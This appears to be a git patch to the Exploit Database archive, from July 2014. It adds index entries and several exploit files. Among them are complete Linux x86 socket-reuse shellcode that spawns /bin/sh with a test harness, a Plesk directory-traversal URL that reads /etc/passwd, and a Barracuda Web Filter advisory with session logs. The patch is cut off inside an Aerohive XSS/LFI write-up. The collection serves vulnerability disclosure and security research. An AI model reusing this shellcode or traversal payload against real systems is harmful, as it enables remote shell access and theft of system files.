From 857d210af18bfc912ef3e35b532434d53614cc55 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 24 Jul 2014 04:40:20 +0000 Subject: [PATCH] Updated 07_24_2014 --- files.csv | 17 + platforms/lin_x86/shellcode/34060.c | 66 ++++ platforms/multiple/remote/34136.txt | 7 + platforms/multiple/webapps/34148.TXT | 444 +++++++++++++++++++++++++++ platforms/php/webapps/34038.txt | 53 ++++ platforms/php/webapps/34137.txt | 7 + platforms/php/webapps/34138.txt | 7 + platforms/php/webapps/34139.txt | 9 + platforms/php/webapps/34140.txt | 10 + platforms/php/webapps/34141.txt | 9 + platforms/php/webapps/34142.txt | 10 + platforms/php/webapps/34144.txt | 9 + platforms/php/webapps/34146.txt | 11 + platforms/php/webapps/34147.txt | 9 + platforms/unix/dos/34145.txt | 7 + platforms/windows/local/34131.py | 226 ++++++++++++++ platforms/windows/remote/34059.py | 118 +++++++ platforms/windows/remote/34143.txt | 9 + 18 files changed, 1028 insertions(+) create mode 100755 platforms/lin_x86/shellcode/34060.c create mode 100755 platforms/multiple/remote/34136.txt create mode 100755 platforms/multiple/webapps/34148.TXT create mode 100755 platforms/php/webapps/34038.txt create mode 100755 platforms/php/webapps/34137.txt create mode 100755 platforms/php/webapps/34138.txt create mode 100755 platforms/php/webapps/34139.txt create mode 100755 platforms/php/webapps/34140.txt create mode 100755 platforms/php/webapps/34141.txt create mode 100755 platforms/php/webapps/34142.txt create mode 100755 platforms/php/webapps/34144.txt create mode 100755 platforms/php/webapps/34146.txt create mode 100755 platforms/php/webapps/34147.txt create mode 100755 platforms/unix/dos/34145.txt create mode 100755 platforms/windows/local/34131.py create mode 100755 platforms/windows/remote/34059.py create mode 100755 platforms/windows/remote/34143.txt diff --git a/files.csv b/files.csv index c3df5efb0..cae38e15a 100755 --- a/files.csv +++ b/files.csv @@ -30657,6 +30657,7 @@ id,file,description,date,author,platform,type,port 34034,platforms/asp/webapps/34034.txt,"cyberhost 'default.asp' SQL Injection Vulnerability",2010-05-22,redst0rm,asp,webapps,0 34035,platforms/php/webapps/34035.sjs,"OpenForum 2.2 b005 'saveAsAttachment()' Method Arbitrary File Creation Vulnerability",2010-05-23,"John Leitch",php,webapps,0 34037,platforms/win32/local/34037.txt,"OpenVPN Private Tunnel Core Service - Unquoted Service Path Elevation Of Privilege",2014-07-12,LiquidWorm,win32,local,0 +34038,platforms/php/webapps/34038.txt,"Aerohive HiveOS 5.1r5 - 6.1r5 - Multiple Vulnerabilities",2014-07-12,DearBytes,php,webapps,0 34040,platforms/php/webapps/34040.txt,"razorCMS 1.0 'admin/index.php' HTML Injection Vulnerability",2010-05-24,"High-Tech Bridge SA",php,webapps,0 34041,platforms/php/webapps/34041.txt,"GetSimple CMS 2.01 'components.php' Cross Site Scripting Vulnerability",2010-05-24,"High-Tech Bridge SA",php,webapps,0 34042,platforms/php/webapps/34042.txt,"RuubikCMS 1.0.3 'index.php' Cross Site Scripting Vulnerability",2010-05-24,"High-Tech Bridge SA",php,webapps,0 @@ -30676,6 +30677,8 @@ id,file,description,date,author,platform,type,port 34056,platforms/php/webapps/34056.txt,"Joomla! 1.5.x Multiple Modules 'search' Parameter Cross-Site Scripting Vulnerabilities",2010-05-28,"Riyaz Ahemed Walikar",php,webapps,0 34057,platforms/php/webapps/34057.txt,"wsCMS 'news.php' Cross Site Scripting Vulnerability",2010-05-31,cyberlog,php,webapps,0 34058,platforms/multiple/dos/34058.txt,"DM Database Server 'SP_DEL_BAK_EXPIRED' Memory Corruption Vulnerability",2010-05-31,"Shennan Wang HuaweiSymantec SRT",multiple,dos,0 +34059,platforms/windows/remote/34059.py,"Kolibri WebServer 2.0 - GET Request SEH Exploit",2014-07-14,"Revin Hadi Saputra",windows,remote,0 +34060,platforms/lin_x86/shellcode/34060.c,"Socket Re-use Shellcode for Linux x86 (50 bytes)",2014-07-14,ZadYree,lin_x86,shellcode,0 34062,platforms/php/webapps/34062.txt,"Shopizer 1.1.5 - Multiple Vulnerabilities",2014-07-14,"SEC Consult",php,webapps,80 34063,platforms/hardware/remote/34063.rb,"D-Link info.cgi POST Request Buffer Overflow",2014-07-14,metasploit,hardware,remote,80 34064,platforms/hardware/remote/34064.rb,"D-Link HNAP Request Remote Buffer Overflow",2014-07-14,metasploit,hardware,remote,80 @@ -30735,7 +30738,21 @@ id,file,description,date,author,platform,type,port 34128,platforms/hardware/webapps/34128.py,"MTS MBlaze Ultra Wi-Fi / ZTE AC3633 - Multiple Vulnerabilities",2014-07-21,"Ajin Abraham",hardware,webapps,80 34129,platforms/windows/dos/34129.txt,"World Of Warcraft 3.3.5a (macros-cache.txt) - Stack Overflow",2014-07-21,"Alireza Chegini",windows,dos,0 34130,platforms/linux/webapps/34130.rb,"Raritan PowerIQ 4.1.0 - SQL Injection Vulnerability",2014-07-21,"Brandon Perry",linux,webapps,80 +34131,platforms/windows/local/34131.py,"Microsoft XP SP3 - BthPan.sys Arbitrary Write Privilege Escalation",2014-07-21,KoreLogic,windows,local,0 34132,platforms/php/remote/34132.txt,"IBM GCM16/32 1.20.0.22575 - Multiple Vulnerabilities",2014-07-21,"Alejandro Alvarez Bravo",php,remote,443 34133,platforms/linux/dos/34133.txt,"Apache 2.4.7 mod_status Scoreboard Handling Race Condition",2014-07-21,"Marek Kroemeke",linux,dos,0 34134,platforms/lin_amd64/local/34134.c,"Linux Kernel ptrace/sysret - Local Privilege Escalation",2014-07-21,"Vitaly Nikolenko",lin_amd64,local,0 34135,platforms/windows/dos/34135.py,"DjVuLibre <= 3.5.25.3 - Out of Bounds Access Violation",2014-07-22,drone,windows,dos,0 +34136,platforms/multiple/remote/34136.txt,"Plesk Server Administrator (PSA) 'locale' Parameter Local File Include Vulnerability",2010-06-21,"Pouya Daneshmand",multiple,remote,0 +34137,platforms/php/webapps/34137.txt,"Joomla! 'com_videowhisper_2wvc' Component Cross Site Scripting Vulnerability",2010-06-10,Sid3^effects,php,webapps,0 +34138,platforms/php/webapps/34138.txt,"VideoWhisper PHP 2 Way Video Chat 'r' Parameter Cross Site Scripting Vulnerability",2010-06-14,Sid3^effects,php,webapps,0 +34139,platforms/php/webapps/34139.txt,"Yamamah Photo Gallery 1.00 'download.php' Local File Disclosure Vulnerability",2010-06-13,mat,php,webapps,0 +34140,platforms/php/webapps/34140.txt,"AneCMS 1.x 'modules/blog/index.php' HTML Injection Vulnerability",2010-06-11,"High-Tech Bridge SA",php,webapps,0 +34141,platforms/php/webapps/34141.txt,"AneCMS 1.x 'modules/blog/index.php' SQL Injection Vulnerability",2010-06-11,"High-Tech Bridge SA",php,webapps,0 +34142,platforms/php/webapps/34142.txt,"MODx 1.0.3 'index.php' Multiple SQL Injection Vulnerabilities",2010-06-14,"High-Tech Bridge SA",php,webapps,0 +34143,platforms/windows/remote/34143.txt,"XnView <= 1.97.4 - MBM File Remote Heap Buffer Overflow Vulnerability",2010-06-14,"Mauro Olea",windows,remote,0 +34144,platforms/php/webapps/34144.txt,"Joomla! 'com_easygb' Component 'Itemid' Parameter Cross Site Scripting Vulnerability",2010-06-08,"L0rd CrusAd3r",php,webapps,0 +34145,platforms/unix/dos/34145.txt,"Python <= 3.2 'audioop' Module Memory Corruption Vulnerability",2010-06-14,haypo,unix,dos,0 +34146,platforms/php/webapps/34146.txt,"Sell@Site PHP Online Jobs Login Multiple SQL Injection Vulnerabilities",2010-06-15,"L0rd CrusAd3r",php,webapps,0 +34147,platforms/php/webapps/34147.txt,"JForum 2.1.8 'username' Parameter Cross Site Scripting Vulnerability",2010-06-06,"Adam Baldwin",php,webapps,0 +34148,platforms/multiple/webapps/34148.TXT,"Barracuda Networks #35 Web Firewall 610 6.0.1 - Filter Bypass & Persistent Vulnerability",2014-07-23,Vulnerability-Lab,multiple,webapps,0 diff --git a/platforms/lin_x86/shellcode/34060.c b/platforms/lin_x86/shellcode/34060.c new file mode 100755 index 000000000..c2a657313 --- /dev/null +++ b/platforms/lin_x86/shellcode/34060.c @@ -0,0 +1,66 @@ +/* Socket Re-use Combo for linux x86 systems by ZadYree -- 50 bytes + * + * + * Made using sockfd trick + dup2(0,0), dup2(0,1), dup2(0,2) + + * execve /bin/sh + * + * Thanks: Charles Stevenson, ipv, 3LRVS research team + * + * gcc -o socket_reuse socket_reuse.c -z execstack + */ + +char shellcode[]= /* We use sys_dup(2) to get the previous attributed sockfd */ +"\x6a\x02" // push 0x2 +"\x5b" // pop ebx +"\x6a\x29" // push 0x29 +"\x58" // pop eax +"\xcd\x80" // int 0x80 -> call dup(2) +"\x48" // dec eax +/* Now EAX = our Socket File Descriptor */ + +"\x89\xc6" // mov esi, eax + +/* dup2(fd,0); dup2(fd,1); dup2(fd,2); */ +"\x31\xc9" // xor %ecx,%ecx +"\x56" // push %esi +"\x5b" // pop %ebx +// loop: +"\x6a\x3f" // push $0x3f +"\x58" // pop %eax +"\xcd\x80" // int $0x80 +"\x41" // inc %ecx +"\x80\xf9\x03" // cmp $0x3,%cl +"\x75\xf5" // jne 80483e8 + +/* execve /bin/sh by ipv */ +"\x6a\x0b" // push byte 0xb +"\x58" // pop eax +"\x99" // cdq +"\x52" // push edx +"\x31\xf6" // xor esi, esi - We add those instructions +"\x56" // push esi - to clean up the arg stack +"\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f +"\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f +"\x89\xe3" // mov ebx, esp +"\x31\xc9" // xor ecx, ecx +"\xcd\x80"; // int 0x80 +; + +/* + +shellcode[]= +"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6" +"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80" +"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6" +"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" +"\x89\xe3\x31\xc9\xcd\x80"; + +*/ + + +int main(void) +{ + printf("Shellcode length: %d\n", strlen(shellcode)); + (*(void(*)()) shellcode)(); + return 0; +} diff --git a/platforms/multiple/remote/34136.txt b/platforms/multiple/remote/34136.txt new file mode 100755 index 000000000..fa897cb06 --- /dev/null +++ b/platforms/multiple/remote/34136.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/40813/info + +Plesk Server Administrator (PSA) is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. + +An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. + +https://www.example.com/servlet/Help?system_id=pem&book_type=login&help_id=change_password&locale=/../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/multiple/webapps/34148.TXT b/platforms/multiple/webapps/34148.TXT new file mode 100755 index 000000000..b5153d4ea --- /dev/null +++ b/platforms/multiple/webapps/34148.TXT @@ -0,0 +1,444 @@ +Document Title: +=============== +Barracuda Networks #35 Web Firewall 610 v6.0.1 - Filter Bypass & Persistent Vulnerability + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1101 + + +Barracuda Networks Security ID (BNSEC): BNSEC-2361 +http://www.barracuda.com/kb?id=501600000013m4O + +Solution #00006619 +BNSEC-02361: Authenticated persistent IVE in Barracuda Web Filter v6.0.1 + + +Release Date: +============= +2014-07-22 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1101 + + +Common Vulnerability Scoring System: +==================================== +3.7 + + +Product & Service Introduction: +=============================== +The Barracuda Web Filter is an integrated content filtering, application blocking and malware protection solution that is powerful, +easy to use and affordable for businesses of all sizes. It enforces Internet usage policies by blocking access to Web sites and +Internet applications that are not related to business, and it easily and completely eliminates spyware and other forms of malware +from your organization. No more costly staff time lost repairing infected computers. + +( Copy of the Vendor Homepage: https://www.barracuda.com/products/webfilter ) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Research Team discovered multiple persistent input validation web vulnerabilities and a filter bypass issue in +the Barracuda Networks WebFilter 610-Vx appliance web-application. + + +Vulnerability Disclosure Timeline: +================================== +2013-12-27: Researcher Notification & Coordination (Benjamin Kunz Mejri) +2013-12-28: Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program) +2014-01-19: Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program) +2014-07-15: Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Dave Farrow] +2014-07-22: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Barracuda Networks +Product: WebFilter Appliance Web-Application 6.0.1.009 - X210 X310 X410 X510 X610 X710 X810 X910 X1010 + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +Medium + + +Technical Details & Description: +================================ +Multiple persistent input validation web vulnerabilities and a filter bypass has been discovered in the Barracuda Networks WebFilter Model 610Vx appliance web-application. +The vulnerability allows remote attackers to inject own malicious script codes on the application-side of the affected service, module or function. + +The vulnerability are located in the `domain names`, `grid__data in grid_columns` and `x-grid3-cell-inner x-grid3-col-name` +values of the `Basic > Reports` module. Remote attackers are able to inject own script code as domain name to execute the +context in the show advanced options menu listing (+plus). The attack vector is persistent located on the application-side +and the request method to inject is POST. + +To bypass the invalid domain exception the attacker first need to include a valid domain, in the second step he change the domain name value by a +session tamper. Reason behind the technique is that the input field validation is separatly done to the request method validation. The restriction +of the invalid input field check can be bypassed by usage of a session tamper to change the input field context live after the first direct input +encode of the web filter application. Another problem is located in the same module which affects the buttom name item listing. + +The security risk of the persistent input validation web vulnerability and fitler bypass is estimated as medium with a cvss (common vulnerability scoring +system) count of 3.7. Exploitation of the persistent web vulnerability requires low user interaction and a local low privileged web-application account. +Successful exploitation of the vulnerability results in session hijacking (customers), persistent phishing, persistent external redirects or persistent +manipulation of connected or affected module context. + + +Request Method(s): + [+] GET + [+] POST + +Vulnerable Module(s): + [+] Basic > Reports > Advanced Options > Show Advanced Options + +Vulnerable Input Field(s): + [+] Add Domain + +Vulnerable Parameter(s): + [+] domain name + [+] grid__data in grid_columns + [+] x-grid3-cell-inner x-grid3-col-name + +Affected Module(s): + [+] Reports Module Index + [+] Reports Module Advanced Options List + [+] Buttom Name Item List + +Affected Version(s): + [+] All versions > Web-Filter applicance web-application + + +Proof of Concept (PoC): +======================= +The persistent input validation web vulnerability can be exploited by remote attackers with a low privileged web-application user account and low or medium +user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. + + +--- PoC Session Logs Request/Response Input Execution --- + +Status: 200[OK] +GET https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi?auth_type=Local&et=1380375181&locale=en_US&password=70be67622c59f4862ed9e7bc6a7cc3d2&primary_tab=BASIC&realm=&role=&secondary_tab=reports&user=guest +Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[160284] Mime Type[text/html] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Connection[keep-alive] + Cache-Control[max-age=0] + Response Headers: + Server[nginx/1.0.14] + Content-Type[text/html; charset=utf-8] + Connection[keep-alive] + Expires[Fri, 28 Sep 2012 13:22:20 GMT] + Date[Sat, 28 Sep 2013 13:22:20 GMT] + Content-Length[160284] + + +15:22:11.590[793ms][total 793ms] Status: 304[Not Modified] +GET https://webfilter.ptest.localhost:6317/css/calendar/calendar-win2k-cold-1.css?v=6.0.1.009 Load Flags[VALIDATE_ALWAYS ] Content Size[-1] Mime Type[application/x-unknown-content-type] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[text/css,*/*;q=0.1] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi?auth_type=Local&et=1380375181&locale=en_US&password=70be67622c59f4862ed9e7bc6a7cc3d2&primary_tab=BASIC&realm=&role=&secondary_tab=reports&user=guest] + Connection[keep-alive] + If-Modified-Since[Tue, 23 Jul 2013 02:54:15 GMT] + Cache-Control[max-age=0] + Response Headers: + Server[nginx/1.0.14] + Date[Sat, 28 Sep 2013 13:22:21 GMT] + Last-Modified[Tue, 23 Jul 2013 02:54:15 GMT] + Connection[keep-alive] + Expires[Thu, 31 Dec 2037 23:55:55 GMT] + Cache-Control[max-age=315360000, public] + + +15:22:11.590[794ms][total 794ms] Status: 304[Not Modified] +GET https://webfilter.ptest.localhost:6317/css/autosuggest.css?v=6.0.1.009 Load Flags[VALIDATE_ALWAYS ] Content Size[-1] Mime Type[application/x-unknown-content-type] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[text/css,*/*;q=0.1] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi?auth_type=Local&et=1380375181&locale=en_US&password=70be67622c59f4862ed9e7bc6a7cc3d2&primary_tab=BASIC&realm=&role=&secondary_tab=reports&user=guest] + Connection[keep-alive] + If-Modified-Since[Tue, 23 Jul 2013 02:54:15 GMT] + Cache-Control[max-age=0] + Response Headers: + Server[nginx/1.0.14] + Date[Sat, 28 Sep 2013 13:22:21 GMT] + Last-Modified[Tue, 23 Jul 2013 02:54:15 GMT] + Connection[keep-alive] + Expires[Thu, 31 Dec 2037 23:55:55 GMT] + Cache-Control[max-age=315360000, public] + + +15:22:11.591[813ms][total 813ms] Status: 304[Not Modified] +GET https://webfilter.ptest.localhost:6317/barracuda.css?v=6.0.1.009 Load Flags[VALIDATE_ALWAYS ] Content Size[-1] Mime Type[application/x-unknown-content-type] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[text/css,*/*;q=0.1] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi?auth_type=Local&et=1380375181&locale=en_US&password=70be67622c59f4862ed9e7bc6a7cc3d2&primary_tab=BASIC&realm=&role=&secondary_tab=reports&user=guest] + Connection[keep-alive] + If-Modified-Since[Tue, 23 Jul 2013 02:54:15 GMT] + Cache-Control[max-age=0] + Response Headers: + Server[nginx/1.0.14] + Date[Sat, 28 Sep 2013 13:22:21 GMT] + Last-Modified[Tue, 23 Jul 2013 02:54:15 GMT] + Connection[keep-alive] + Expires[Thu, 31 Dec 2037 23:55:55 GMT] + Cache-Control[max-age=315360000, public] + + +15:22:11.594[987ms][total 987ms] Status: 304[Not Modified] +GET https://webfilter.ptest.localhost:6317/js/scriptaculous/scriptaculous.js?load=effects,dragdrop&v=6.0.1.009 Load Flags[VALIDATE_ALWAYS ] Content Size[-1] Mime Type[application/x-unknown-content-type] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[*/*] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi?auth_type=Local&et=1380375181&locale=en_US&password=70be67622c59f4862ed9e7bc6a7cc3d2&primary_tab=BASIC&realm=&role=&secondary_tab=reports&user=guest] + Connection[keep-alive] + If-Modified-Since[Tue, 23 Jul 2013 02:54:14 GMT] + Cache-Control[max-age=0] + Response Headers: + Server[nginx/1.0.14] + Date[Sat, 28 Sep 2013 13:22:22 GMT] + Last-Modified[Tue, 23 Jul 2013 02:54:14 GMT] + Connection[keep-alive] + Expires[Thu, 31 Dec 2037 23:55:55 GMT] + Cache-Control[max-age=315360000, public] + + +15:22:11.594[987ms][total 987ms] Status: 304[Not Modified] +GET https://webfilter.ptest.localhost:6317/js/ext-prototype-adapter.js?v=6.0.1.009 Load Flags[VALIDATE_ALWAYS ] Content Size[-1] Mime Type[application/x-unknown-content-type] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[*/*] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi?auth_type=Local&et=1380375181&locale=en_US&password=70be67622c59f4862ed9e7bc6a7cc3d2&primary_tab=BASIC&realm=&role=&secondary_tab=reports&user=guest] + Connection[keep-alive] + If-Modified-Since[Tue, 23 Jul 2013 02:54:14 GMT] + Cache-Control[max-age=0] + Response Headers: + Server[nginx/1.0.14] + Date[Sat, 28 Sep 2013 13:22:22 GMT] + Last-Modified[Tue, 23 Jul 2013 02:54:14 GMT] + Connection[keep-alive] + Expires[Thu, 31 Dec 2037 23:55:55 GMT] + Cache-Control[max-age=315360000, public] + + +15:22:13.629[260ms][total 260ms] Status: 502[Bad Gateway] +GET https://webfilter.ptest.localhost:6317/cgi-mod/x Load Flags[VALIDATE_ALWAYS ] Content Size[1789] Mime Type[text/html] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[image/png,image/*;q=0.8,*/*;q=0.5] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi?auth_type=Local&et=1380375181&locale=en_US&password=70be67622c59f4862ed9e7bc6a7cc3d2&primary_tab=BASIC&realm=&role=&secondary_tab=reports&user=guest] + Connection[keep-alive] + Response Headers: + Server[nginx/1.0.14] + Date[Sat, 28 Sep 2013 13:22:23 GMT] + Content-Type[text/html] + Content-Length[1789] + Connection[keep-alive] + + + + +--- PoC Session Logs Request/Response Delete Element Item Execution --- + +15:26:04.436[0ms][total 0ms] Status: pending[] +GET https://webfilter.ptest.localhost:6317/js/adapters/prototype-adapter.js?v=6.0.1.009 Load Flags[LOAD_NORMAL] Content Size[unknown] Mime Type[unknown] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[*/*] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi] + + +15:26:04.436[0ms][total 0ms] Status: pending[] +GET https://webfilter.ptest.localhost:6317/js/highcharts.js?v=6.0.1.009 Load Flags[LOAD_NORMAL] Content Size[unknown] Mime Type[unknown] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[*/*] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi] + + +15:26:04.461[0ms][total 0ms] Status: pending[] +GET https://webfilter.ptest.localhost:6317/favicon.ico Load Flags[LOAD_NORMAL] Content Size[unknown] Mime Type[unknown] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + + +15:26:04.542[0ms][total 0ms] Status: pending[] +GET https://webfilter.ptest.localhost:6317/js/scriptaculous/effects.js Load Flags[LOAD_NORMAL] Content Size[unknown] Mime Type[unknown] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[*/*] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi] + + +15:26:04.542[0ms][total 0ms] Status: pending[] +GET https://webfilter.ptest.localhost:6317/js/scriptaculous/dragdrop.js Load Flags[LOAD_NORMAL] Content Size[unknown] Mime Type[unknown] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[*/*] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi] + + +15:26:04.964[454ms][total 454ms] Status: 200[OK] +GET https://webfilter.ptest.localhost:6317/cgi-mod/header_logo.cgi?6.0.1.009 Load Flags[LOAD_NORMAL] Content Size[-1] Mime Type[image/gif] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[image/png,image/*;q=0.8,*/*;q=0.5] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi] + Connection[keep-alive] + Response Headers: + Server[nginx/1.0.14] + Content-Type[image/gif] + Transfer-Encoding[chunked] + Connection[keep-alive] + Expires[Sat, 28 Sep 2013 13:26:14 GMT] + Date[Sat, 28 Sep 2013 13:26:14 GMT] + Cache-Control[no-cache, no-store] + + +15:26:05.740[213ms][total 213ms] Status: 502[Bad Gateway] +GET https://webfilter.ptest.localhost:6317/cgi-mod/x Load Flags[LOAD_NORMAL] Content Size[1789] Mime Type[text/html] + Request Headers: + Host[webfilter.ptest.localhost:6317] + User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] + Accept[image/png,image/*;q=0.8,*/*;q=0.5] + Accept-Language[en-US,en;q=0.5] + Accept-Encoding[gzip, deflate] + DNT[1] + Referer[https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi] + Connection[keep-alive] + Response Headers: + Server[nginx/1.0.14] + Date[Sat, 28 Sep 2013 13:26:15 GMT] + Content-Type[text/html] + Content-Length[1789] + Connection[keep-alive] + + + +Reference(s): +https://webfilter.ptest.localhost:6317/cgi-mod/index.cgi?auth_type=Local&et=1380375181&locale=en_US&password=70be67622c59f4862ed9e7bc6a7cc3d2&primary_tab=BASIC&realm=&role=&secondary_tab=reports&user=guest + + +Solution - Fix & Patch: +======================= +The vulnerability can be patched by a secure parse and encode of the input to add domains. Ensure that the application GET to POST requests are restricted and filtered +to prevent further attacks in the vulnerable add domains module section. + + +Barracuda Networks Appliance: Advanced >Firmware Updates Page +http://www.barracuda.com/kb?id=501600000013m4O + + +Security Risk: +============== +The security risk of the persistent input validation web vulnerabilities and estimated as medium(+). + + +Credits & Authors: +================== +Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] + + +Disclaimer & Information: +========================= +The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, +either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- +Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business +profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some +states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation +may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases +or trade with fraud/stolen material. + +Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com +Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com +Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com +Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab +Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php + +Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. +Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other +media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and +other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), +modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. + + Copyright ? 2014 | Vulnerability Laboratory [Evolution Security] + + + + + + +-- +VULNERABILITY LABORATORY RESEARCH TEAM +DOMAIN: www.vulnerability-lab.com +CONTACT: research@vulnerability-lab.com + + diff --git a/platforms/php/webapps/34038.txt b/platforms/php/webapps/34038.txt new file mode 100755 index 000000000..42589ea57 --- /dev/null +++ b/platforms/php/webapps/34038.txt @@ -0,0 +1,53 @@ +# Exploit Title: Aerohive HiveOS XSS and (limited) LFI +# Date: 11-07-2014 +# Exploit Author: Rik van Duijn - DearBytes (dearbytes.com) +# Vendor Homepage: http://www.aerohive.com/products/overview.html +# Version: 5.1r5 - 6.1r5 (possibly earlier versions) + +Description +================ +Aerohive version 5.1r5 through 6.1r5 contain two vulnerabilities, one reflective XSS vulnerability and a limited local file inclusion vulnerability (I was only able to view source from one specific folder, 